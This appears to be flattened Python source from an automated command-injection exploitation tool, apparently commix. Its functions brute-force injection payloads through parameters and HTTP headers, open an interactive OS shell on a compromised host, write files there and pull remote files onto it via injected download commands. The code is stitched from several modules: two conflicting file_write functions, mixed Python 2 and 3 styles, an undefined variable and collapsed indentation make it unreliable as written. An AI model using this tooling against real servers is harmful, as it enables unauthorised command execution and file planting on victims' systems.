def encoding_detection(response): if not menu.options.encoding: charset_detected = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifing the indicated web-page charset... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: # Detecting charset charset = response.headers.getparam('charset') if len(charset) != 0 : charset_detected = True else: content = re.findall(r";charset=(.*)\"", html_data) if len(content) != 0 : charset = content charset_detected = True else: # Check if HTML5 format charset = re.findall(r"charset=['\"](.*?)['\"]", html_data) if len(charset) != 0 : charset_detected = True # Check the identifyied charset if charset_detected : settings.DEFAULT_ENCODING = charset if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" settings.ENCODING = charset.lower() if settings.ENCODING.lower() not in settings.ENCODING_LIST: warn_msg = "The indicated web-page charset " + settings.ENCODING + " seems unknown." print settings.print_warning_msg(warn_msg) else: if settings.VERBOSITY_LEVEL >= 1: success_msg = "The indicated web-page charset appears to be " success_msg += settings.ENCODING + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) else: pass except: pass if charset_detected == False and settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" else: settings.ENCODING = menu.options.encoding if settings.ENCODING.lower() not in settings.ENCODING_LIST: err_msg = "The user-defined charset '" + settings.ENCODING + "' seems unknown. " err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " err_msg += "to get the full list of supported charsets." print settings.print_critical_msg(err_msg) raise SystemExit()
def check_unicorn_version(current_version): try: if len(current_version) != 0: response = urllib2.urlopen('https://raw.githubusercontent.com/trustedsec/unicorn/master/unicorn.py', timeout=1) latest_version = response.readlines() for line in latest_version: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(" ", "").replace("-","").replace("\"","").replace(")","") break if len(current_version) == 0 or \ (int(current_version.replace(".","")[:2]) < int(latest_version.replace(".","")[:2])) or \ ((int(current_version.replace(".","")[:2]) == int(latest_version.replace(".","")[:2])) and \ int(current_version.replace(".","")[2:]) < int(latest_version.replace(".","")[2:])): if len(current_version) != 0: warn_msg = "Current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date." print settings.print_warning_msg(warn_msg) else: warn_msg = "TrustedSec's Magic Unicorn seems to be not installed." print settings.print_warning_msg(warn_msg) while True: if not menu.options.batch: if len(current_version) == 0: action = "install" else: action = "update to" question_msg = "Do you want to " + action + " the latest version now? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) do_update = sys.stdin.readline().replace("\n","").lower() else: do_update = "" if len(do_update) == 0: do_update = "y" if do_update in settings.CHOICE_YES: unicorn_updater(current_version) elif do_update in settings.CHOICE_NO: break else: err_msg = "'" + do_update + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: raise except: pass # eof
def base64_output(payload): if (len(payload) % 4 == 0) and re.match(settings.BASE64_RECOGNITION_REGEX, payload): if not settings.TAMPER_SCRIPTS['base64encode']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",base64encode" else: menu.options.tamper = "base64encode" tamper_scripts() else: if settings.TAMPER_SCRIPTS['base64encode']: settings.TAMPER_SCRIPTS['base64encode'] = False warn_msg = "The resumed stored session is not in base64 format. " warn_msg += "Rerun with '--flush-session' option." print settings.print_warning_msg(warn_msg)
def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): if settings.TARGET_OS == "win": # Not yet implemented pass else: file_to_upload = menu.options.file_upload # check if remote file exists. try: urllib2.urlopen(file_to_upload) except urllib2.HTTPError, err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err_msg)+ ")" sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() sys.exit(0) # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) # Check if file exists! if settings.TARGET_OS == "win": cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) if menu.options.verbose: print "" if shell: success_msg = "The " + Style.UNDERLINE + shell success_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" sys.stdout.write(settings.print_success_msg(success_msg) + "\n") sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def print_non_listed_params(check_parameters, http_request_method, header_name): if len(check_parameters) > 0: non_exist_param = list(set(settings.TEST_PARAMETER)-set(check_parameters)) non_exist_param = ', '.join(non_exist_param) if not len(non_exist_param) == 0 : warn_msg = "The provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" warn_msg += non_exist_param + "'" + (' are', ' is')[len(non_exist_param) == 1] if menu.options.level >= 2 and header_name != "": warn_msg += " not inside the " warn_msg += settings.HTTP_HEADER else: warn_msg += " not inside the " warn_msg += http_request_method warn_msg += "." print settings.print_warning_msg(warn_msg)
def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() sys.exit(0) if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: content = [ line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file ] content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 content = base64.b64encode(content) else: warn_msg = "It seems that '" + file_to_write + "' is not a file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() if os.path.split(menu.options.file_dest)[1] == "": dest_to_write = os.path.split( menu.options.file_dest)[0] + "/" + os.path.split( menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_write = "/" + os.path.split( menu.options.file_dest)[1] + "/" + os.path.split( menu.options.file_write)[1] else: dest_to_write = menu.options.file_dest # Execute command if settings.TARGET_OS == "win": dest_to_write = dest_to_write.replace("\\", "/") # Find path path = os.path.dirname(dest_to_write) path = path.replace("/", "\\") # Change directory cmd = "cd " + path response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Find filename filname = os.path.basename(dest_to_write) tmp_filname = "tmp_" + filname cmd = settings.FILE_WRITE + content + ">" + tmp_filname if not menu.options.alter_shell: cmd = "\"" + cmd + "\"" response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Decode base 64 encoding cmd = "certutil -decode " + tmp_filname + " " + filname if not menu.options.alter_shell: cmd = "\"" + cmd + "\"" response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) # Delete tmp file cmd = "del " + tmp_filname if not menu.options.alter_shell: cmd = "\"" + cmd + "\"" response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) # Check if file exists cmd = "if exist " + filname + " (echo " + filname + ")" if not menu.options.alter_shell: cmd = "\"" + cmd + "\"" dest_to_write = path + "\\" + filname else: cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) # Check if file exists cmd = "echo $(ls " + dest_to_write + ")" if settings.USE_BACKTICKS: cmd = cmd.replace("echo $(", "").replace(")", "") # Check if defined cookie injection. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL >= 1: print "" if shell: success_msg = "The " + shell + Style.RESET_ALL success_msg += Style.BRIGHT + " file was created successfully!" + "\n" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the '" + file_to_write + "' file, does not exist." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() sys.exit(0) if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: content = [ line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file ] content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 content = base64.b64encode(content) else: warn_msg = "It seems that '" + file_to_write + "' is not a file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() if os.path.split(menu.options.file_dest)[1] == "": dest_to_write = os.path.split( menu.options.file_dest)[0] + "/" + os.path.split( menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_write = "/" + os.path.split( menu.options.file_dest)[1] + "/" + os.path.split( menu.options.file_write)[1] else: dest_to_write = menu.options.file_dest # Execute command if settings.TARGET_OS == "win": from src.core.injections.results_based.techniques.classic import cb_injector whitespace = settings.WHITESPACE[0] dest_to_write = dest_to_write.replace("\\", "/") # Find path path = os.path.dirname(dest_to_write) path = path.replace("/", "\\") # Chnage directory cmd = "cd " + path response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Find filename filname = os.path.basename(dest_to_write) tmp_filname = "tmp_" + filname cmd = settings.FILE_WRITE + content + ">" + tmp_filname if not menu.options.alter_shell: cmd = "\"" + cmd + "\"" response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Decode base 64 encoding cmd = "certutil -decode " + tmp_filname + " " + filname if not menu.options.alter_shell: cmd = "\"" + cmd + "\"" response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) # Delete tmp file cmd = "del " + tmp_filname if not menu.options.alter_shell: cmd = "\"" + cmd + "\"" response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) # Check if file exists cmd = "if exist " + filname + " (echo " + filname + ")" if not menu.options.alter_shell: cmd = "'" + cmd + "'" dest_to_write = path + "\\" + filname else: cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output shell = "".join(str(p) for p in shell) # Check if file exists cmd = "echo $(ls " + dest_to_write + ")" print "" check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output try: shell = "".join(str(p) for p in shell) except TypeError: pass # if settings.VERBOSITY_LEVEL >= 1: # print "" if shell: success_msg = "The '" + shell + Style.RESET_ALL success_msg += Style.BRIGHT + "' file was created successfully!\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to " warn_msg += "write the '" + dest_to_upload + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response): counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based command injection technique" tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution results... " print settings.print_info_msg(info_msg) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION: try: settings.FILE_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification( url, technique, injection_type) if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation( url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) sys.exit(0) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision( separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP Header Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP Header Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to Referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP Header Injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to Host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = fb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = fb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output( url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[ 0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... [ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0: raise urllib2.HTTPError( url, 404, 'Error', {}, None) except urllib2.HTTPError, e: if str(e.getcode() ) == settings.NOT_FOUND_ERROR: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == int(menu.options.failed_tries ) and no_result == True: tmp_path = check_tmp_path( url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) print "" while True: if not menu.options.batch: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " sys.stdout.write( settings. print_question_msg( question_msg)) tmp_upload = sys.stdin.readline( ).replace("\n", "").lower() else: tmp_upload = "" if len(tmp_upload) == 0: tmp_upload = "y" if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller( no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print "" raise else: err_msg = "'" + tmp_upload + "' is not a valid answer." print settings.print_error_msg( err_msg) pass continue else: if exit_loops == False: if not settings.VERBOSITY_LEVEL >= 1: if str(float_percent ) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str( float_percent ) + "%" else: percent = str( float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... [ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode() ) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print settings.print_critical_msg( err_msg) + "\n" sys.exit(0) elif str(e.getcode() ) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print settings.print_critical_msg( err_msg) + "\n" sys.exit(0) except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except urllib2.URLError, e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": ", " (") + ")." if menu.options.verbose > 1: print "" print settings.print_critical_msg(err_msg) # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: settings.FILE_BASED_STATE = True found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = "Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: success_msg += " " + http_request_method success_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub( "%20", " ", payload.replace( "\n", "\\n")) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print "" break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1 and new_line: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print "" fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" fb_enumeration.single_os_cmd_exec( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) # if settings.VERBOSITY_LEVEL >= 1: # print "" delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print "" if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: time.sleep(timesec) response = fb_injector.injection( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results( url, OUTPUT_TEXTFILE, timesec) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: if shell != "": # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: # if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise
def create_github_issue(err_msg, exc_msg): _ = re.sub(r"'[^']+'", "''", exc_msg) _ = re.sub(r"\s+line \d+", "", _) _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _) _ = re.sub(r".+\Z", "", _) _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) _ = re.sub(r"= _", "= ", _) _ = _.encode(settings.UNICODE_ENCODING) key = hashlib.md5(_).hexdigest()[:8] while True: try: if not menu.options.batch: question_msg = "Do you want to automatically create a new (anonymized) issue " question_msg += "with the unhandled exception information at " question_msg += "the official Github repository? [y/N] " choise = _input(settings.print_question_msg(question_msg)) else: choise = "" if len(choise) == 0: choise = "n" if choise in settings.CHOICE_YES: break elif choise in settings.CHOICE_NO: print("") return else: err_msg = "'" + choise + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except: print("\n") raise SystemExit() err_msg = err_msg[err_msg.find("\n"):] req = _urllib.request.Request(url="https://api.github.com/search/issues?q=" + \ _urllib.parse.quote("repo:commixproject/commix" + " " + "Unhandled exception (#" + str(key) + ")") ) 